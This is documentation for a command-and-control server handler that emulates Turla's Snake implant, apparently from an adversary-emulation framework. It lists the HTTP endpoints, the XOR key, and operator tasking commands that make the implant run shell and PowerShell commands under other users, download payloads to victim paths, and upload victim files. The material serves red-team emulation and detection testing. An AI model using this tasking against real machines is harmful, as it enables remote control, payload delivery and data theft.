#
Snake HTTP handler
The Snake HTTP C2 handler is the server-side counterpart for the Snake implant and is specifically designed to interact with it over HTTP.
#
Components
The handler consists of an HTTP web server that listens on a specified address/port and serves the following URL endpoints:
GET /PUB/{identifier}
, where{identifier}
is either a specific resource that the implant is requesting or the identifier for the implant. Requesting a resource ofhome.html
indicates that the implant is performing a heartbeat check to see if the server is up, in which case the server will respond with1
. Otherwise,{identifier}
is treated as the implant ID, and the server will use this value to determine if a new session is established or if an existing implant is checking in for additional tasking.POST /IMAGES/3/{instruction_id}
for submitting command output, implant logs, or a generic file upload for the instruction identified by{instruction_id}
. The C2 server will determine if the instruction ID is for an assigned file upload - if so, the received data is stored under the same filename on the C2 server. If the instruction ID is not linked to an assigned file upload, the C2 server checks if it's one of the hardcoded log file IDs, in which case it accepts the upload as the associated log file. Otherwise, the C2 server assumes that the upload contains command output for the instruction. In this case, the C2 server will log the received command output if the instruction ID is mapped to an implant ID. On successful upload, the server will respond with1
. Note that when accepting log fiel uploads, the server will decode and decrypt each log line before writing the destination file on the server-side.- Regular C2 logs will be uploaded to
/IMAGES/3/62810421015953103444
and saved underfiles/C2Log.YYYY-MM-DD-HH-MM-SS.log
, where the timestamp represents the time the log was received. This prevents multiple log file uploads from overwring previous ones. - Execution logs will be uploaded to
/IMAGES/3/23329841273669992682
and saved underfiles/ExecutionLog.YYYY-MM-DD-HH-MM-SS.log
- Pipe server logs will be uploaded to
/IMAGES/3/59463656487865612747
and saved underfiles/PipeServerLog.YYYY-MM-DD-HH-MM-SS.log
- Pipe client logs will be uploaded to
/IMAGES/3/16488587954892310865
and saved underfiles/PipeClientLog.YYYY-MM-DD-HH-MM-SS.log
- Regular C2 logs will be uploaded to
GET /IMAGES/3/{instruction_id}
to retrieve the payload associated with the given instruction ID. If no instruction with the ID is found, the C2 server will respond with an internal server error message. Note that the implant must be tasked with a payload download instruction before requesting the payload.
#
Encryption
Turla has used XOR encryption for C2 communications with Snake1, and we use a different XOR key:
1f903053jlfajsklj39019013ut098e77xhlajklqpozufoghi642098cbmdakandqiox536898jiqjpe6092smmkeut02906
The C2 handler uses XOR encryption in the following scenarios:
- encrypting beacon responses containing tasking
- encrypting payloads sent to implant
- decrypting command output received from implant
- decrypting log files and other file uploads received from implant
#
Usage
#
Configuration
To enable and configure the Snake HTTP handler within the control server, edit the config/handler_config.yml
from the main C2 server repo.
Adjust the Snake HTTP entry as needed.
Example:
snakehttp:
host: 10.0.2.7
port: 80
enabled: true
Run the controlServer
binary as sudo
and look for success messages in starting up the Snake handler:
sudo ./controlServer
#
Tasking Implants
To register or receive tasking for an implant session, the Snake HTTP handler expects a GET
request for /PUB/{identifier}
, where {identifier}
is the implant ID. If this is the first time that the Snake HTTP handler recognizes the implant with id {identifier}
, then it will set up a new session within the internal C2 REST server and then begin tasking the implant upon subsequent GET
requests to the same endpoint.
For example:
curl http://192.168.0.4:8080/PUB/abcd # First request, registers a new implant session with ID "abcd". Returns empty task.
curl http://192.168.0.4:8080/PUB/abcd # Second request. Session for "abcd" already exists, returns a task if available, otherwise empty task.
As with other C2 handlers, implant tasking is performed by sending requests to the internal REST server using the evalsC2client.py
script.
The Snake HTTP handler will allow operators to task the following command types using a JSON dict payload format.
The JSON dict can contain the following fields:
type
- command type code that specifies the type of command to send (e.g. execute a process, download a file, upload a file). Must be an integercommand
- for type codes dealing withcmd.exe
or powershell execution, this string represents the command to run. For example,whoami /all
orget-childitem .
file
- for the payload download type code (4
), this represents the filename to request from the C2 server. For the file upload task code (5
), this represents the file path of the local file to upload.dest
- for the payload download type code (4
), this represents the destination file path to save the payload.proc
- for the process execution type code (3
), this represents the binary name/path to execute (e.g.whoami.exe
)args
- for the process execution type code (3
), this represents the arguments to execute the process with (e.g./all
forwhoami.exe
)runas
- for process or command execution tasks, this represents the user to create the process under (e.g.mydomain\dummyuser
)
Below are examples of each type code:
{"type": 1, "command": "..."}
or{"type": 1, "command": "...", "runas":"domain\user"}
- the command type code01
will have the implant execute acmd.exe
command with the provided args. Note that a command is required for task type1
. The implant will send the command output to the C2 server. If a username is provided via therunas
key, the command process will be created under that user if possible.{"type": 2, "command": "..."}
- the command type code02
will have the implant execute apowershell.exe
command with the provided args. Note that a command is required for task type2
. The command will be encoded to UTF-16LE and then base64 encoded so that the implant can run it viapowershell.exe -nol -noni -nop -enc
. The implant will send output to the C2 server afterwards. If a username is provided via therunas
key, the command process will be created under that user if possible.{"type": 3, "proc": path_to_binary_to_execute}
or{"type": 3, "proc": path_to_binary_to_execute, "args": "arg1 arg2 ... argN"}
- the task type code3
will instruct the implant to execute the binary at the provided path and with the provided args, if any args are provided. The implant will send output to the C2 server afterwards. If a username is provided via therunas
key, the command process will be created under that user if possible.{"type": 4, "file": "payload_to_download", "dest": "dest_path_on_victim"}
- the task type4
will have the implant request a file download from the C2 server forpayload_to_download
, and the file will be saved asdest_path_on_victim
, or the snake home directory if only a file name is specified. To have the file downloaded to the current directory, use the.\
path prefix (e.g..\filename
).{"type": 5, "file": "path_to_file_to_upload"}
- the task type05
will request the implant to upload a local file from the target machine, specified bypath_to_file_to_upload
{"type": 6}
- the task type6
will request the implant to upload its logs.
Examples of valid tasking:
./evalsC2client.py --set-task <guid> '{"type": 1, "command": "whoami /all", "runas":"testdomain\\testuser"}'
./evalsC2client.py --set-task <guid> '{"type": 1, "command": "ping 1.2.3.4"}'
./evalsC2client.py --set-task <guid> '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Get-ChildItem somedir -Recurse"}'
./evalsC2client.py --set-task <guid> '{"type": 3, "proc": "executable.exe", "args":"arg1 arg2 arg3"}'
./evalsC2client.py --set-task <guid> '{"type": 3, "proc": "C:\\path to my\\executable.exe"}'
./evalsC2client.py --set-task <guid> '{"type": 4, "file": "payload.exe", "dest":"C:\\Users\\Public\\payload.exe"}'
./evalsC2client.py --set-task <guid> '{"type": 4, "file": "payload.exe", "dest":"payload.exe"}'
./evalsC2client.py --set-task <guid> '{"type": 5, "file": "C:\\users\\public\\to_upload.txt"}'
./evalsC2client.py --set-task <guid> '{"type": 6}'
Examples of invalid tasking:
./evalsC2client.py --set-task <guid> '{"type": 1}' # 01 requires a command
./evalsC2client.py --set-task <guid> '{"type": 2}' # 02 requires a command
./evalsC2client.py --set-task <guid> '{"type": 3}' # 03 requires a command
./evalsC2client.py --set-task <guid> '{"type": 4}' # 04 requires payload information
./evalsC2client.py --set-task <guid> '{"type": 4, "file":"testingfile"}' # 04 requires both payload name and destination path/name
./evalsC2client.py --set-task <guid> '{"type": 5} # 05 requires a filename to upload
./evalsC2client.py --set-task <guid> '{"type": 12, "random":"asdb"}' # unsupported task type code
#
Decrypting Logs
If you need to decrypt Snake log files and you don't have a responding or live implant, you can transfer the log files from the victim machine to the C2 server machine and use the decrypt_logs.py
utility in this folder:
python3 decrypt_logs.py -p /path/to/log -o /path/to/output/file